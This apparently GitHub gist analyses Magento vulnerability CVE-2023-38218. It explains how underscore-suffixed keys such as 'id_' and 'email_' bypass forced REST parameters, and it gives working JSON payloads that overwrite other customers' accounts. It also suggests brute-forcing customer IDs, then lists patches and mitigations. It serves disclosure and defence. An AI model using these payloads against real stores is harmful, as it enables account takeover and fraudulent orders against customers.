Skip to content

Instantly share code, notes, and snippets.

@Rud5G
Forked from danslo/APSB23-50.md
Created October 12, 2023 10:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Rud5G/b7bda655667effbb3be1022e1fad01f9 to your computer and use it in GitHub Desktop.
Save Rud5G/b7bda655667effbb3be1022e1fad01f9 to your computer and use it in GitHub Desktop.

APSB23-50

https://helpx.adobe.com/security/products/magento/apsb23-50.html

Privilege Escalation

The vulnerability with the highest CVSS score of 8.8 (CVE-2023-38218) states that it is an unauthenticated privilege escalation due to improper input validation.

If we look at the diff we see a number of security related changes. One of those changes is the following in Magento\Customer\Plugin\Webapi\Controller\Rest\ValidateCustomerData::validateInputData:

+++ ./vendor/magento/module-customer/Plugin/Webapi/Controller/Rest/ValidateCustomerData.php	2023-09-11 17:11:34.000000000 +0200
@@ -28,8 +28,8 @@
      */
     public function beforeOverride(ParamsOverrider $subject, array $inputData, array $parameters): array
     {
-        if (isset($inputData[self:: CUSTOMER_KEY])) {
-            $inputData[self:: CUSTOMER_KEY] = $this->validateInputData($inputData[self:: CUSTOMER_KEY]);
+        if (isset($inputData[self::CUSTOMER_KEY])) {
+            $inputData[self::CUSTOMER_KEY] = $this->validateInputData($inputData[self::CUSTOMER_KEY]);
         }
         return [$inputData, $parameters];
     }
@@ -43,9 +43,8 @@
     private function validateInputData(array $inputData): array
     {
         $result = [];
-
         $data = array_filter($inputData, function ($k) use (&$result) {
-            $key = is_string($k) ? strtolower($k) : $k;
+            $key = is_string($k) ? strtolower(str_replace('_', "", $k)) : $k;
             return !isset($result[$key]) && ($result[$key] = true);
         }, ARRAY_FILTER_USE_KEY);

This looks like the most likely candidate, particularly the removal of underscores from keys of user data.

But how does allowing underscores lead to privilege escalation?

For that, we need to take a step back and understand how Magento's REST API works.

Forced REST Parameters

All Magento installations ship with the REST API enabled by default.

Let's narrow our focus once again, and look at the endpoint that the plugin above is performing validation for.

Provided a valid customer token (which can be obtained with /V1/integration/token), the /V1/customers/me endpoint allows customers to update their account.

An example payload would be the following:

{
  "customer": {
    "id": 6,
    "email": "threat@actor.com",
    "firstname": "Threat",
    "lastname": "Actor"
  }
}

You might ask yourself: what is to prevent an attacker from updating the customer ID and overwriting another user's data?

This is where the Magento\Webapi\Controller\Rest\ParamsOverrider comes into play:

/**
 * Override parameter values based on webapi.xml
 *
 * @param array $inputData Incoming data from request
 * @param array $parameters Contains parameters to replace or default
 * @return array Data in same format as $inputData with appropriate parameters added or changed
 */
public function override(array $inputData, array $parameters)
{
    foreach ($parameters as $name => $paramData) {
        $arrayKeys = explode('.', $name);
        if ($paramData[Converter::KEY_FORCE] || !$this->isNestedArrayValueSet($inputData, $arrayKeys)) {
            $paramValue = $paramData[Converter::KEY_VALUE];
            if (isset($this->paramOverriders[$paramValue])) {
                $value = $this->paramOverriders[$paramValue]->getOverriddenValue();
            } else {
                $value = $paramData[Converter::KEY_VALUE];
            }
            $this->setNestedArrayValue($inputData, $arrayKeys, $value);
        }
    }
    return $inputData;
}

This method takes parameters from webapi.xml, and forces them into inputData.

In case of PUT /V1/customers/me, the following parameters are forced:

  • customer.id
  • customer.group_id
  • customer.website_id
  • customer.store_id

The values for these parameters are derived from the Bearer token performing the request.

Perfect! Now we know that users can only update customer IDs that they authenticated for... right? Not quite.

Mapping Data

Now that the right parameters are forced, how is the remaining data mapped into the data model?

We find the answer in Magento\Framework\Webapi\ServiceInputProcessor:

  1. Using reflection, Magento determines which getters and setters are available on the targeted data model - in this case Magento\Customer\Api\Data\CustomerInterface.
  2. The properties are converted from snake_case to camelCase.
  3. If a setter exists for the property, it is called and the value is updated.

Snake to Camel Case Conversion

The following code is used to convert snake_case property names to camelCase:

$camelCaseProperty = SimpleDataObjectConverter::snakeCaseToUpperCamelCase($propertyName);

The security patch strips out underscores - let's see why.

Using the dev console in n98-magerun2 we can play around with this method:

$ n98-magerun dev:console
Magento 2.4.6 Community initialized ✔
At the prompt, type help for some help.

To exit the shell, type ^D.
Psy Shell v0.11.12 (PHP 8.1.17 — cli) by Justin Hileman
> \Magento\Framework\Api\SimpleDataObjectConverter::snakeCaseToUpperCamelCase("firstname");
= "Firstname"

> \Magento\Framework\Api\SimpleDataObjectConverter::snakeCaseToUpperCamelCase("id");
= "Id"

> \Magento\Framework\Api\SimpleDataObjectConverter::snakeCaseToUpperCamelCase("created_at");
= "CreatedAt"

> \Magento\Framework\Api\SimpleDataObjectConverter::snakeCaseToUpperCamelCase("id_");
= "Id"

This means we can pass a property called id_, which is not forced(!), and this will end up calling the setId() getter.

Building the Payload

We have demonstrated that we can perform a read with an attacker controlled customer ID, and subsequently write an arbitrary customer ID. How would a malicious request look like? We try passing a different ID:

{
  "customer": {
    "id": 6
    "id_": 5
    "email": "threat@actor.com",
    "firstname": "Threat",
    "lastname": "Actor"
  }
}

We receive the following response:

{
  "message": "A customer with the same email address already exists in an associated website.",
  "trace": "[snip]"
}

Since we loaded the threat@actor.com account, and are now trying to save it to a different ID, Magento detects the duplicate address and refuses to save it. The underscore trick can also be used on the email property:

{
  "customer": {
    "id": 6
    "id_": 5
    "email_": "victim@victim.com",
    "firstname": "Threat",
    "lastname": "Actor"
  }
}

Magento responds with the following, indicating that we have successfully updated data for a different account:

{
  "id": 5,
  "group_id": 1,
  "created_at": "2023-10-10 22:16:41",
  "updated_at": "2023-10-11 09:01:35",
  "created_in": "Default Store View",
  "email": "victim@victim.com",
  "firstname": "Threat",
  "lastname": "Actor",
  "store_id": 1,
  "website_id": 1,
  "addresses": [],
  "disable_auto_group_change": 0,
  "extension_attributes": {
    "is_subscribed": false
  }
}

Any customer data can be overwritten, including that of password_hash.

Escalation

At this point, an attacker would require two pieces of information to perform this attack:

  • target customer id
  • target customer email

The need for exact knowledge of the customer ID can be circumvented by trying every ID between 1 and [attacker_controlled_id - 1] until a 200 response is received. Depending on the number of customers in the database, this would take between a couple of seconds to a couple of minutes.

Further activity could include placement of fraudulent orders using the customer's stored payment methods.

Mitigation

Upgrade

Upgrade to one of the following releases:

  • 2.4.6-p3
  • 2.4.5-p5
  • 2.4.4-p6

Composer Patch

Apply the following composer patch to your installation:

CVE-2023-38218.diff:

diff --git Plugin/Webapi/Controller/Rest/ValidateCustomerData.php Plugin/Webapi/Controller/Rest/ValidateCustomerData.php
index ad2d8ed..63551ff 100644
--- Plugin/Webapi/Controller/Rest/ValidateCustomerData.php
+++ Plugin/Webapi/Controller/Rest/ValidateCustomerData.php
@@ -28,8 +28,8 @@ class ValidateCustomerData
      */
     public function beforeOverride(ParamsOverrider $subject, array $inputData, array $parameters): array
     {
-        if (isset($inputData[self:: CUSTOMER_KEY])) {
-            $inputData[self:: CUSTOMER_KEY] = $this->validateInputData($inputData[self:: CUSTOMER_KEY]);
+        if (isset($inputData[self::CUSTOMER_KEY])) {
+            $inputData[self::CUSTOMER_KEY] = $this->validateInputData($inputData[self::CUSTOMER_KEY]);
         }
         return [$inputData, $parameters];
     }
@@ -45,7 +45,7 @@ class ValidateCustomerData
         $result = [];

         $data = array_filter($inputData, function ($k) use (&$result) {
-            $key = is_string($k) ? strtolower($k) : $k;
+            $key = is_string($k) ? strtolower(str_replace('_', "", $k)) : $k;
             return !isset($result[$key]) && ($result[$key] = true);
         }, ARRAY_FILTER_USE_KEY);

composer.json:

{
    "extra": {
        "patches": {
            "magento/module-customer": {
                "CVE-2023-38218": "path/to/CVE-2023-38218.diff"
            }
        }
    }
}

Other Measures

As far as I am aware, traditional frontend themes do not use PUT /V1/customers/me.

If you are not using this for other purposes (integrations), this endpoint can be disabled either through:

  • webserver configuration
  • removing/commenting from vendor/magento/module-customer/etc/webapi.xml

Disclaimer

This explanation is provided solely for research and educational purposes. There are no guarantees or liabilities associated with its use. If you have any questions or need further clarification, please don't hesitate to reach out.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment